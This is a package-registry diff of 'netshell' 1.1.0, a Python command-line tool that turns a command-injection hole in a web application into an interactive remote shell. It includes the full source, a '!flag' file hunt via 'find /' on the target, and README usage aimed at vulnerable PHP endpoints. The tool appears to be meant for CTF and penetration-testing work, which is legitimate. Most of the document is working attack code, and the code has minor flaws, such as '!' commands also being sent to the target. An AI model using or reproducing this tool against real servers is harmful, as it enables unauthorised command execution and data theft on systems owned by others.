netshell 1.0.0__tar.gz → 1.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: netshell
3
- Version: 1.0.0
3
+ Version: 1.1.0
4
4
  Summary: A CLI HTTP shell to connect to remote shells
5
5
  Author: Richard A. Dubniczky
6
6
  License: MIT License
@@ -29,13 +29,29 @@ Requires-Python: >=3.9
29
29
  Description-Content-Type: text/markdown
30
30
  License-File: LICENSE
31
31
  Requires-Dist: requests>=2.33.1
32
+ Requires-Dist: urllib3>=2.6.3
33
+ Requires-Dist: prompt_toolkit>=3.0.52
32
34
  Dynamic: license-file
33
35
 
34
- # HTTP Shell
36
+ # Netshell
35
37
 
36
38
  A lightweight HTTP CLI Shell that enables custom command injection into vulnerable web applications with a familiar shell-like interface.
37
39
 
38
- ## Examples
40
+ ## Installation
41
+
42
+ Install using pip:
43
+
44
+ ```sh
45
+ pip install netshell
46
+ ```
47
+
48
+ or manually by downloading the git repository:
49
+
50
+ ```sh
51
+ git clone https://github.com/dubniczky/Netshell
52
+ ```
53
+
54
+ ## Usage
39
55
 
40
56
  The `q` query parameter of `http://example.com/vln.php` is vulnerable to command injections, then the following command connects to it and starts a shell-like environment:
41
57
 
@@ -50,3 +66,31 @@ www-data
50
66
  ```
51
67
 
52
68
  Use `httpshell --help` for all flags and options.
69
+
70
+ Command line options:
71
+ - `-h`, `--help` - show this help message and exit
72
+ - `--address`, `-a` _ADDRESS_ Target address containing the full path. E.g., http://example.com/vulnerable.php
73
+ - `--parameter`, `-p` _PARAMETER_ Parameter name where the injection will occur. E.g., 'cmd' for http://example.com/vulnerable.php?cmd=...
74
+ - -`-cookies`, `-c` _COOKIES_ Use cookies for the request
75
+ - -`-agent` _AGENT_ Set a custom User-Agent header for the requests
76
+ - `--prefix`, `-P` _PREFIX_ Set a custom prefix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.
77
+ - `--suffix`, `-S` _SUFFIX_ Set a custom suffix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.
78
+ - `--verbose`, `-v` Verbose output
79
+ - `--no-url-encode` Disable URL encoding of commands
80
+ - `--no-preflight` Skip preflight checks and go straight to the shell interface
81
+
82
+ ## Testing
83
+
84
+ The `/test` folder contains a simple injectable web server that can be started using Docker Compose.
85
+
86
+ ```sh
87
+ cd test
88
+ docker compose up
89
+ ```
90
+
91
+ The injectable point is at `/good` path with the `p` query parameter. By contrast the `/bad` path is not injectable.
92
+
93
+ Then starting the shell
94
+ ```sh
95
+ netshell -a http://localhost:8000/good -p q
96
+ ```
@@ -0,0 +1,61 @@
1
+ # Netshell
2
+
3
+ A lightweight HTTP CLI Shell that enables custom command injection into vulnerable web applications with a familiar shell-like interface.
4
+
5
+ ## Installation
6
+
7
+ Install using pip:
8
+
9
+ ```sh
10
+ pip install netshell
11
+ ```
12
+
13
+ or manually by downloading the git repository:
14
+
15
+ ```sh
16
+ git clone https://github.com/dubniczky/Netshell
17
+ ```
18
+
19
+ ## Usage
20
+
21
+ The `q` query parameter of `http://example.com/vln.php` is vulnerable to command injections, then the following command connects to it and starts a shell-like environment:
22
+
23
+ ```sh
24
+ httpshell -a http://example.com/vln.php -p q
25
+ ```
26
+ ```txt
27
+ Connection successful!
28
+
29
+ example.com > whoami
30
+ www-data
31
+ ```
32
+
33
+ Use `httpshell --help` for all flags and options.
34
+
35
+ Command line options:
36
+ - `-h`, `--help` - show this help message and exit
37
+ - `--address`, `-a` _ADDRESS_ Target address containing the full path. E.g., http://example.com/vulnerable.php
38
+ - `--parameter`, `-p` _PARAMETER_ Parameter name where the injection will occur. E.g., 'cmd' for http://example.com/vulnerable.php?cmd=...
39
+ - -`-cookies`, `-c` _COOKIES_ Use cookies for the request
40
+ - -`-agent` _AGENT_ Set a custom User-Agent header for the requests
41
+ - `--prefix`, `-P` _PREFIX_ Set a custom prefix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.
42
+ - `--suffix`, `-S` _SUFFIX_ Set a custom suffix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.
43
+ - `--verbose`, `-v` Verbose output
44
+ - `--no-url-encode` Disable URL encoding of commands
45
+ - `--no-preflight` Skip preflight checks and go straight to the shell interface
46
+
47
+ ## Testing
48
+
49
+ The `/test` folder contains a simple injectable web server that can be started using Docker Compose.
50
+
51
+ ```sh
52
+ cd test
53
+ docker compose up
54
+ ```
55
+
56
+ The injectable point is at `/good` path with the `p` query parameter. By contrast the `/bad` path is not injectable.
57
+
58
+ Then starting the shell
59
+ ```sh
60
+ netshell -a http://localhost:8000/good -p q
61
+ ```
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
4
4
 
5
5
  [project]
6
6
  name = "netshell"
7
- version = "1.0.0"
7
+ version = "1.1.0"
8
8
  description = "A CLI HTTP shell to connect to remote shells"
9
9
  readme = "README.md"
10
10
  authors = [{ name = "Richard A. Dubniczky" }]
@@ -12,6 +12,8 @@ license = { file = "LICENSE" }
12
12
  requires-python = ">=3.9"
13
13
  dependencies = [
14
14
  "requests>=2.33.1",
15
+ "urllib3>=2.6.3",
16
+ "prompt_toolkit>=3.0.52",
15
17
  ]
16
18
 
17
19
  [project.urls]
@@ -0,0 +1,220 @@
1
+ import os
2
+ import random
3
+ import string
4
+ import argparse
5
+ from html import unescape
6
+
7
+ import urllib.parse
8
+ from urllib.parse import urlsplit, urlunsplit, parse_qsl, urlencode
9
+ import requests
10
+ from prompt_toolkit import PromptSession
11
+ from prompt_toolkit.history import FileHistory
12
+ from prompt_toolkit.auto_suggest import AutoSuggestFromHistory
13
+
14
+
15
+ VERSION = "1.1.0"
16
+ HISTORY_LOCATION = ".netshell_history"
17
+ QUERY_PLACEHOLDER = "--NETSHELL_PLACEHOLDER--"
18
+
19
+ # Configuration
20
+ address : str
21
+ parameter : str
22
+ url_encode = True
23
+ verbose = False
24
+ cookies = None
25
+ user_agent = None
26
+ prefix = None
27
+ suffix = None
28
+ no_preflight = False
29
+ no_history = False
30
+
31
+
32
+ def voutput(message):
33
+ if verbose:
34
+ print(f'[i] {message}')
35
+
36
+ def random_string(length=8):
37
+ return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
38
+
39
+
40
+ def extract_markers(response_text, start_marker, end_marker):
41
+ start_index = response_text.find(start_marker)
42
+ end_index = response_text.find(end_marker, start_index + len(start_marker))
43
+
44
+ if start_index == -1 or end_index == -1:
45
+ return None
46
+
47
+ return response_text[start_index + len(start_marker):end_index].strip()
48
+
49
+ def set_query_param(address: str, key: str, value: str) -> str:
50
+ parts = urlsplit(address)
51
+ query = dict(parse_qsl(parts.query, keep_blank_values=True))
52
+ query[key] = value
53
+ new_query = urlencode(query)
54
+ return urlunsplit((parts.scheme, parts.netloc, parts.path, new_query, parts.fragment))
55
+
56
+ def send_command(command):
57
+ start_marker = f"--{random_string(8)}--"
58
+ end_marker = f"--{random_string(8)}--"
59
+ wrapped_command = f"echo {start_marker};{command};echo {end_marker}"
60
+
61
+ if prefix:
62
+ wrapped_command = f"{prefix}{wrapped_command}"
63
+ if suffix:
64
+ wrapped_command = f"{wrapped_command}{suffix}"
65
+
66
+ if url_encode:
67
+ wrapped_command = urllib.parse.quote(wrapped_command)
68
+
69
+ # Insert a placeholder in the URL and replace it with the wrapped command to ensure proper encoding and avoid issues with special characters in the command
70
+ url = set_query_param(address, parameter, QUERY_PLACEHOLDER)
71
+ url = url.replace(QUERY_PLACEHOLDER, wrapped_command)
72
+
73
+ voutput(f"Sent command: {url}")
74
+ if len(url) > 2000:
75
+ print(f"The URL length is very long: {len(url)} characters. Some servers may not process it correctly.")
76
+ response = requests.get(url, cookies=cookies, headers={'User-Agent': user_agent} if user_agent else None)
77
+ voutput(f"Status code: {response.status_code}")
78
+ voutput(f"Response size: {len(response.text)}")
79
+
80
+ if response.status_code != 200:
81
+ print(f"[!] Command execution failed with status code: {response.status_code} and response: {response.text}")
82
+ return None
83
+
84
+ unescaped_response = unescape(response.text)
85
+ return extract_markers(unescaped_response, start_marker, end_marker)
86
+
87
+
88
+ def preflight_request():
89
+ preflight_random = random_string(16)
90
+ preflight_echo = f"echo {preflight_random}"
91
+
92
+ response = send_command(preflight_echo)
93
+ if not response:
94
+ print("[!] Preflight request failed: No echo response received meaning the injection might not work properly.")
95
+ return False
96
+ if preflight_random not in response:
97
+ print("[!] Preflight request failed: Could not verify command output.")
98
+ return False
99
+ return True
100
+
101
+
102
+ def command_flag() -> bool:
103
+ find_command = 'find / -type f -name "*flag*" 2>/dev/null'
104
+ response = send_command(find_command)
105
+ if not response:
106
+ return False
107
+
108
+ paths = response.strip().splitlines()
109
+ prime_candidates = []
110
+ for path in paths:
111
+ if path.endswith("flag.txt") or path.endswith("flag.md"):
112
+ prime_candidates.append(path)
113
+ print(f"[] Prime candidates for flag files:\n{'\\n'.join(prime_candidates)}\n")
114
+ print(f"[] All found files:\n{response}")
115
+ return True
116
+
117
+
118
+ def command_save(command: str, content: str) -> bool:
119
+ path = command[len('!save '):].strip()
120
+ if not path:
121
+ print("[!] No file path provided. Usage: !save <local_file_path>")
122
+ return False
123
+
124
+ # Get full path
125
+ full_path = os.path.abspath(path)
126
+
127
+ try:
128
+ with open(full_path, 'w') as f:
129
+ f.write(content)
130
+ except Exception as e:
131
+ print(f"[!] Error saving file: {e}")
132
+ return False
133
+
134
+ print(f"[i] Output saved to {full_path}")
135
+ return True
136
+
137
+
138
+ def main():
139
+ global address, parameter, url_encode, verbose, cookies, user_agent, prefix, suffix, no_preflight
140
+ parser = argparse.ArgumentParser(description=f"Netshell v{VERSION} - A lightweight HTTP CLI Shell that enables custom command injections into vulnerable web applications with a familiar shell-like interface.")
141
+ parser.add_argument("--address", "-a", help="Target address containing the full path. E.g., http://example.com/vulnerable.php")
142
+ parser.add_argument("--parameter", "-p", help="Parameter name where the injection will occur. E.g., 'cmd' for http://example.com/vulnerable.php?cmd=...")
143
+ parser.add_argument("--cookies", "-c", help="Use cookies for the request")
144
+ parser.add_argument("--agent", help="Set a custom User-Agent header for the requests")
145
+ parser.add_argument("--prefix", "-P", help="Set a custom prefix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.")
146
+ parser.add_argument("--suffix", "-S", help="Set a custom suffix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.")
147
+
148
+
149
+ parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
150
+ parser.add_argument("--no-url-encode", action="store_true", help="Disable URL encoding of commands")
151
+ parser.add_argument("--no-preflight", action="store_true", help="Skip preflight checks and go straight to the shell interface")
152
+ parser.add_argument("--no-history", action="store_true", help=f"Skip saving command history into {HISTORY_LOCATION} file")
153
+
154
+ args = parser.parse_args()
155
+
156
+ address = args.address
157
+ parameter = args.parameter
158
+ url_encode = not args.no_url_encode
159
+ verbose = args.verbose
160
+ cookies = args.cookies
161
+ user_agent = args.agent
162
+ prefix = args.prefix
163
+ suffix = args.suffix
164
+ no_preflight = args.no_preflight
165
+
166
+ if not no_preflight:
167
+ is_successful = preflight_request()
168
+ if is_successful:
169
+ print("Connection successful!")
170
+ else:
171
+ print("Skipping preflight checks.")
172
+
173
+ host_name = urllib.parse.urlparse(address).netloc
174
+
175
+ print(f"Entering interactive shell: all commands except ones starting with ! are sent to the server.\nType '!exit' or Ctrl+C to leave and '!help' for available Netshell commands.")
176
+
177
+ # Shell-like environment
178
+ session = PromptSession(
179
+ history=FileHistory(HISTORY_LOCATION) if not no_history else None,
180
+ auto_suggest=AutoSuggestFromHistory(),
181
+ )
182
+ output = None
183
+ try:
184
+ while True:
185
+ command = session.prompt(f"\n{host_name} > ")
186
+ if command.lower().startswith('!exit'):
187
+ print("Exiting shell.")
188
+ break
189
+ elif command.lower().startswith('!help'):
190
+ print("\nAll Netshell commands start with '!' and are used to control the shell or automate tasks. Other commands are sent to the server. All command only work on Linux systems. Available commands:")
191
+ print(" !exit - Exit the shell")
192
+ print(" !help - Show this help message")
193
+ print(" !flag - Search for files with 'flag' in their name and display potential candidates")
194
+ print(" !save <local_file_path> - Save the output of the last command to a local file on your machine. E.g., '!save output.txt'")
195
+ print("\nAuthor: Richard A. Dubniczky, https://dubniczky.com")
196
+ print("Source: https://github.com/dubniczky/Netshell")
197
+ elif command.lower().startswith('!flag'):
198
+ if not command_flag():
199
+ print("[!] There was an error while searching for flag files.")
200
+ elif command.lower().startswith('!save'):
201
+ if not output:
202
+ print("[!] No command output available to save.")
203
+ continue
204
+ command_save(command, output)
205
+ elif command.startswith('!'):
206
+ print(f"[!] Unknown Netshell command: {command}. Type '!help' for available commands.")
207
+
208
+ try:
209
+ output = send_command(command)
210
+ except Exception as e:
211
+ print(f"[!] Error occurred while sending command: {e}")
212
+ continue
213
+
214
+ print(f"{output}")
215
+ except KeyboardInterrupt:
216
+ print("\nExiting shell.")
217
+
218
+
219
+ if __name__ == "__main__":
220
+ main()
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: netshell
3
- Version: 1.0.0
3
+ Version: 1.1.0
4
4
  Summary: A CLI HTTP shell to connect to remote shells
5
5
  Author: Richard A. Dubniczky
6
6
  License: MIT License
@@ -29,13 +29,29 @@ Requires-Python: >=3.9
29
29
  Description-Content-Type: text/markdown
30
30
  License-File: LICENSE
31
31
  Requires-Dist: requests>=2.33.1
32
+ Requires-Dist: urllib3>=2.6.3
33
+ Requires-Dist: prompt_toolkit>=3.0.52
32
34
  Dynamic: license-file
33
35
 
34
- # HTTP Shell
36
+ # Netshell
35
37
 
36
38
  A lightweight HTTP CLI Shell that enables custom command injection into vulnerable web applications with a familiar shell-like interface.
37
39
 
38
- ## Examples
40
+ ## Installation
41
+
42
+ Install using pip:
43
+
44
+ ```sh
45
+ pip install netshell
46
+ ```
47
+
48
+ or manually by downloading the git repository:
49
+
50
+ ```sh
51
+ git clone https://github.com/dubniczky/Netshell
52
+ ```
53
+
54
+ ## Usage
39
55
 
40
56
  The `q` query parameter of `http://example.com/vln.php` is vulnerable to command injections, then the following command connects to it and starts a shell-like environment:
41
57
 
@@ -50,3 +66,31 @@ www-data
50
66
  ```
51
67
 
52
68
  Use `httpshell --help` for all flags and options.
69
+
70
+ Command line options:
71
+ - `-h`, `--help` - show this help message and exit
72
+ - `--address`, `-a` _ADDRESS_ Target address containing the full path. E.g., http://example.com/vulnerable.php
73
+ - `--parameter`, `-p` _PARAMETER_ Parameter name where the injection will occur. E.g., 'cmd' for http://example.com/vulnerable.php?cmd=...
74
+ - -`-cookies`, `-c` _COOKIES_ Use cookies for the request
75
+ - -`-agent` _AGENT_ Set a custom User-Agent header for the requests
76
+ - `--prefix`, `-P` _PREFIX_ Set a custom prefix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.
77
+ - `--suffix`, `-S` _SUFFIX_ Set a custom suffix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.
78
+ - `--verbose`, `-v` Verbose output
79
+ - `--no-url-encode` Disable URL encoding of commands
80
+ - `--no-preflight` Skip preflight checks and go straight to the shell interface
81
+
82
+ ## Testing
83
+
84
+ The `/test` folder contains a simple injectable web server that can be started using Docker Compose.
85
+
86
+ ```sh
87
+ cd test
88
+ docker compose up
89
+ ```
90
+
91
+ The injectable point is at `/good` path with the `p` query parameter. By contrast the `/bad` path is not injectable.
92
+
93
+ Then starting the shell
94
+ ```sh
95
+ netshell -a http://localhost:8000/good -p q
96
+ ```
@@ -0,0 +1,3 @@
1
+ requests>=2.33.1
2
+ urllib3>=2.6.3
3
+ prompt_toolkit>=3.0.52
netshell-1.0.0/README.md DELETED
@@ -1,19 +0,0 @@
1
- # HTTP Shell
2
-
3
- A lightweight HTTP CLI Shell that enables custom command injection into vulnerable web applications with a familiar shell-like interface.
4
-
5
- ## Examples
6
-
7
- The `q` query parameter of `http://example.com/vln.php` is vulnerable to command injections, then the following command connects to it and starts a shell-like environment:
8
-
9
- ```sh
10
- httpshell -a http://example.com/vln.php -p q
11
- ```
12
- ```txt
13
- Connection successful!
14
-
15
- example.com > whoami
16
- www-data
17
- ```
18
-
19
- Use `httpshell --help` for all flags and options.
@@ -1,131 +0,0 @@
1
- import random
2
- import string
3
- import argparse
4
- from html import unescape
5
- import urllib.parse
6
-
7
- import requests
8
-
9
-
10
- # Configuration
11
- address = None
12
- parameter = None
13
- url_encode = True
14
- verbose = False
15
- cookies = None
16
- user_agent = None
17
- prefix = None
18
- suffix = None
19
- no_preflight = False
20
-
21
-
22
- def voutput(message):
23
- if verbose:
24
- print(f'[i] {message}')
25
-
26
- def random_string(length=8):
27
- return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
28
-
29
-
30
- def extract_markers(response_text, start_marker, end_marker):
31
- start_index = response_text.find(start_marker)
32
- end_index = response_text.find(end_marker, start_index + len(start_marker))
33
-
34
- if start_index == -1 or end_index == -1:
35
- return None
36
-
37
- return response_text[start_index + len(start_marker):end_index].strip()
38
-
39
- def send_command(command):
40
- start_marker = f"--{random_string(8)}--"
41
- end_marker = f"--{random_string(8)}--"
42
- wrapped_command = f"echo {start_marker};{command};echo {end_marker}"
43
-
44
- if prefix:
45
- wrapped_command = f"{prefix}{wrapped_command}"
46
- if suffix:
47
- wrapped_command = f"{wrapped_command}{suffix}"
48
-
49
- if url_encode:
50
- wrapped_command = urllib.parse.quote(wrapped_command)
51
-
52
- url = f"{address}?{parameter}={wrapped_command}"
53
- voutput(f"Sent command: {url}")
54
- response = requests.get(url, cookies=cookies, headers={'User-Agent': user_agent} if user_agent else None)
55
- voutput(f"Status code: {response.status_code}")
56
- voutput(f"Response size: {len(response.text)}")
57
-
58
- if response.status_code != 200:
59
- print(f"[!] Command execution failed with status code: {response.status_code} and response: {response.text}")
60
- return None
61
-
62
- unescaped_response = unescape(response.text)
63
- return extract_markers(unescaped_response, start_marker, end_marker)
64
-
65
-
66
- def preflight_request():
67
- preflight_random = random_string(16)
68
- preflight_echo = f"echo {preflight_random}"
69
-
70
- response = send_command(preflight_echo)
71
- if not response:
72
- print("[!] Preflight request failed: No response received.")
73
- return False
74
- if preflight_random not in response:
75
- print("[!] Preflight request failed: Could not verify command output.")
76
- return False
77
- return True
78
-
79
-
80
- def main():
81
- global address, parameter, url_encode, verbose, cookies, user_agent, prefix, suffix, no_preflight
82
- parser = argparse.ArgumentParser(description=" A lightweight HTTP CLI Shell that enables custom command injections into vulnerable web applications with a familiar shell-like interface.")
83
- parser.add_argument("--address", "-a", help="Target address containing the full path. E.g., http://example.com/vulnerable.php")
84
- parser.add_argument("--parameter", "-p", help="Parameter name where the injection will occur. E.g., 'cmd' for http://example.com/vulnerable.php?cmd=...")
85
- parser.add_argument("--cookies", "-c", help="Use cookies for the request")
86
- parser.add_argument("--agent", help="Set a custom User-Agent header for the requests")
87
- parser.add_argument("--prefix", "-P", help="Set a custom prefix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.")
88
- parser.add_argument("--suffix", "-S", help="Set a custom suffix for the commands. This is usually the command escape. By default there is none. No modifications apply to this, so make sure to encode it properly if needed.")
89
-
90
-
91
- parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
92
- parser.add_argument("--no-url-encode", action="store_true", help="Disable URL encoding of commands")
93
- parser.add_argument("--no-preflight", action="store_true", help="Skip preflight checks and go straight to the shell interface")
94
-
95
- args = parser.parse_args()
96
-
97
- address = args.address
98
- parameter = args.parameter
99
- url_encode = not args.no_url_encode
100
- verbose = args.verbose
101
- cookies = args.cookies
102
- user_agent = args.agent
103
- prefix = args.prefix
104
- suffix = args.suffix
105
- no_preflight = args.no_preflight
106
-
107
- if not no_preflight:
108
- is_successful = preflight_request()
109
- if is_successful:
110
- print("Connection successful!")
111
- else:
112
- print("Skipping preflight checks.")
113
-
114
- host_name = urllib.parse.urlparse(address).netloc
115
-
116
- # Shell-like environment
117
- while True:
118
- command = input(f"\n{host_name} > ")
119
- if command.lower() in ['exit', 'quit']:
120
- print("Exiting shell.")
121
- break
122
-
123
- output = send_command(command)
124
- if output is not None:
125
- print(f"{output}")
126
- else:
127
- print("[!] Failed to retrieve command output.")
128
-
129
-
130
- if __name__ == "__main__":
131
- main()
@@ -1 +0,0 @@
1
- requests>=2.33.1
File without changes
File without changes
File without changes